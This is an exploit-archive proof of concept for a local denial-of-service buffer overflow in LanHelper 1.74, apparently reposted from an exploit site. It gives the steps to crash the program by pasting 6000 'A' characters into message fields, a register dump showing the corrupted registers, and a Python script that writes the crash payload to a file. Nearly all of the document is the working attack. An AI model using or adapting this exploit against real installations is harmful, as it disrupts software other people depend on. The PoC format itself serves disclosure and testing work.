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LanHelper 1.74 - Denial of Service Exploit
[# Exploit Title: LanHelper v1.74 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Vendor Homepage: http://www.hainsoft.com/
# Software Link : http://www.hainsoft.com/
# Tested Version: 1.74
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
# Steps to Produce the Crash:
# 1.- Run LanHelper.exe
# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script)
# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script
# 4.- Paste the result from this python script in "Message text:", same form.
# 5.- Click in Send button and you will see a crash.
'''
EAX 00410041 LanHelpe.00410041
ECX 00410041 LanHelpe.00410041
EDX 00410041 LanHelpe.00410041
EBX 00410745 LanHelpe.00410745
ESP 013DFE70
EBP 013DFE94
ESI 00B6F268
EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA"
EIP 00401D0A LanHelpe.00401D0A
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD9000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_IO_PENDING (000003E5)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0
'''
#!/usr/bin/env python
crash = "\x41" * 6000
f = open ("LanHelper_Crash.txt", "w")
f.write(crash)
f.close()
# 0day.today [2024-11-16] #